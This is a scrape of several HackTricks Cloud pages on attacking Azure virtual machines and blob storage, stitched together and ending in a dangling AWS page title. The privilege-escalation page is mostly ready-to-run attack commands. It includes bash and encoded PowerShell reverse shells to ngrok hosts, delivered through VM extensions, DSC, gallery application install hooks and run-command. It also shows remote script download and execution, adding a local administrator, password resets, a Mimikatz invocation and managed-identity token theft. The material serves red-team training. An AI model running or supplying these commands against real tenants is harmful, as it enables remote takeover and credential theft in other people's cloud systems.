[Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 5 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more info about Azure VMs and networking check the following page: [Az - Virtual Machines & Network](../az-services/vms/index.html) VM applications can be shared with other subscriptions and tenants. If an application is being shared it's probably because it's being used. So if the attacker manages to **compromise the application and uploads a backdoored** version it might be possible that it will be **executed in another tenant or subscription**. It might be possible to find **sensitive information inside images** taken from VMs in the past. 1. **List images** from galleries bash # Get galleries az sig list -o table # List images inside gallery az sig image-definition list \ --resource-group \ --gallery-name \ -o table # Get images versions az sig image-version list \ --resource-group \ --gallery-name \ --gallery-image-definition \ -o table 2. **List custom images** bash az image list -o table 3. **Create VM from image ID** and search for sensitive info inside of it bash # Create VM from image az vm create \ --resource-group \ --name \ --image /subscriptions//resourceGroups//providers/Microsoft.Compute/galleries//images//versions/ \ --admin-username \ --generate-ssh-keys It might be possible to find **sensitive information inside restore points**. 1. **List restore points** bash az restore-point list \ --resource-group \ --restore-point-collection-name \ -o table 2. **Create a disk** from a restore point bash az disk create \ --resource-group \ --name \ --source /subscriptions//resourceGroups//providers/Microsoft.Compute/restorePointCollections//restorePoints/ 3. **Attach the disk to a VM** (the attacker needs to have compromised a VM inside the account already) bash az vm disk attach \ --resource-group \ --vm-name \ --name 4. **Mount** the disk and **search for sensitive info** bash # List all available disks sudo fdisk -l # Check disk format sudo file -s /dev/sdX # Mount it sudo mkdir /mnt/mydisk sudo mount /dev/sdX1 /mnt/mydisk 1. Right-click **Start** and select **Disk Management**. 2. The attached disk should appear as **Offline** or **Unallocated**. 1. Locate the disk in the bottom pane. 2. Right-click the disk (e.g., **Disk 1**) and select **Online**. 1. If the disk is not initialized, right-click and select **Initialize Disk**. 2. Choose the partition style: * **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems. 1. Right-click the unallocated space on the disk and select **New Simple Volume**. 2. Follow the wizard to: * Assign a drive letter (e.g., `D:`). * Format the disk (choose NTFS for most cases). It might be possible to find **sensitive information inside disks or even old disk's snapshots**. 1. **List snapshots** bash az snapshot list \ --resource-group \ -o table 2. **Create disk from snapshot** (if needed) bash az disk create \ --resource-group \ --name \ --source \ --size-gb 3. **Attach and mount the disk** to a VM and search for sensitive information (check the previous section to see how to do this) It might be possible to find **sensitive information inside VM extensions and VM applications**. 1. **List all VM apps** bash ## List all VM applications inside a gallery az sig gallery-application list --gallery-name --resource-group --output table 2. Install the extension in a VM and **search for sensitive info** bash az vm application set \ --resource-group \ --name \ --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ --treat-deployment-as-failure true tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Virtual Machines & Network Privesc - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 11 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more info about Azure Virtual Machines and Network check: [Az - Virtual Machines & Network](../az-services/vms/index.html) This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**. Example abusing custom extensions to execute arbitrary commands in a VM: * Execute a revers shell bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== # Execute rev shell az vm extension set \ --resource-group \ --vm-name \ --name CustomScript \ --publisher Microsoft.Azure.Extensions \ --version 2.1 \ --settings '{}' \ --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' * Execute a script located on the internet bash az vm extension set \ --resource-group rsc-group> \ --vm-name \ --name CustomScript \ --publisher Microsoft.Azure.Extensions \ --version 2.1 \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \ --protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}' * Execute a reverse shell bash # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 # Execute it az vm extension set \ --resource-group \ --vm-name \ --name CustomScriptExtension \ --publisher Microsoft.Compute \ --version 1.10 \ --settings '{}' \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' * Execute reverse shell from file bash az vm extension set \ --resource-group \ --vm-name \ --name CustomScriptExtension \ --publisher Microsoft.Compute \ --version 1.10 \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` * Reset password using the VMAccess extension bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs: VMAccess extension This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs. bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred DesiredConfigurationState (DSC) This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension: bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { Script ReverseShell { GetScript = { @{} } SetScript = { $client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length) } $client.Close() } TestScript = { return $false } } } } RevShellConfig -OutputPath .\Output # Upload config to blob $resourceGroup = 'dscVmDemo' $storageName = 'demostorage' Publish-AzVMDscConfiguration ` -ConfigurationPath .\revShell.ps1 ` -ResourceGroupName $resourceGroup ` -StorageAccountName $storageName ` -Force # Apply DSC to VM and execute rev shell $vmName = 'myVM' Set-AzVMDscExtension ` -Version '2.76' ` -ResourceGroupName $resourceGroup ` -VMName $vmName ` -ArchiveStorageAccountName $storageName ` -ArchiveBlobName 'revShell.ps1.zip' ` -AutoUpdate ` -ConfigurationName 'RevShellConfig' Hybrid Runbook Worker This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/index.html) . These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands. The last 2 permissions might be avoided by sharing the application with the tenant. Exploitation example to execute arbitrary commands: bash # Create gallery (if the isn't any) az sig create --resource-group myResourceGroup \ --gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ --application-name myReverseShellApp \ --gallery-name myGallery \ --resource-group \ --os-type Linux \ --location "West US 2" # Create app version with the rev shell ## In Package file link just add any link to a blobl storage file az sig gallery-application version create \ --version-name 1.0.2 \ --application-name myReverseShellApp \ --gallery-name myGallery \ --location "West US 2" \ --resource-group \ --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ --install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ --remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ --update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ --resource-group \ --name \ --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ --treat-deployment-as-failure true bash # Create gallery (if the isn't any) az sig create --resource-group \ --gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ --application-name myReverseShellAppWin \ --gallery-name myGallery \ --resource-group \ --os-type Windows \ --location "West US 2" # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 # Create app version with the rev shell ## In Package file link just add any link to a blobl storage file export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" az sig gallery-application version create \ --version-name 1.0.0 \ --application-name myReverseShellAppWin \ --gallery-name myGallery \ --location "West US 2" \ --resource-group \ --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ --install-command "powershell.exe -EncodedCommand $encodedCommand" \ --remove-command "powershell.exe -EncodedCommand $encodedCommand" \ --update-command "powershell.exe -EncodedCommand $encodedCommand" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ --resource-group \ --name deleteme-win4 \ --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \ --treat-deployment-as-failure true This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:** bash # Execute rev shell az vm run-command invoke \ --resource-group \ --name \ --command-id RunShellScript \ --scripts @revshell.sh # revshell.sh file content echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh bash # The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action # Execute a rev shell az vm run-command invoke \ --resource-group Research \ --name juastavm \ --command-id RunPowerShellScript \ --scripts @revshell.ps1 ## Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 ## Create app version with the rev shell ## In Package file link just add any link to a blobl storage file export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" # The content of echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1 # Try to run in every machine Import-module MicroBurst.psm1 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM). Login via **SSH** with **`az ssh vm --name --resource-group `** and via **RDP** with your **regular Azure credentials**. This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM). Login via **SSH** with **`az ssh vm --name --resource-group `** and via **RDP** with your **regular Azure credentials**. All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it. Depending on the situation more or less permissions might be needed to abuse this technique. bash az vm create \ --resource-group Resource_Group_1 \ --name cli_vm \ --image Ubuntu2204 \ --admin-username azureuser \ --generate-ssh-keys \ --assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \ --nsg-rule ssh \ --location "centralus" # By default pub key from ~/.ssh is used (if none, it's generated there) Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**. Then, from the metadata service it's possible to generate tokens for each one. bash # Get currently assigned managed identities to the VM az vm identity show \ --resource-group \ --name # Assign several managed identities to a VM az vm identity assign \ --resource-group \ --name \ --identities \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**: [Cloud SSRF - HackTricks](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm) ### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write" These permissions allow to change the virtual machine user and password to access it: bash az vm user update \ --resource-group \ --name \ --username \ --password According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) , this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs... tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Blob Storage Post Exploitation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about storage check: [Az - Storage Accounts & Blobs](../az-services/az-storage.html) A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**. bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ --account-name \ --container-name --auth-mode login az storage blob download \ --account-name \ --container-name \ -n file.txt --auth-mode login A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob): bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ --account-name \ --container-name \ --file /tmp/up.txt --auth-mode login --overwrite This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - RDS Unauthenticated Enum - 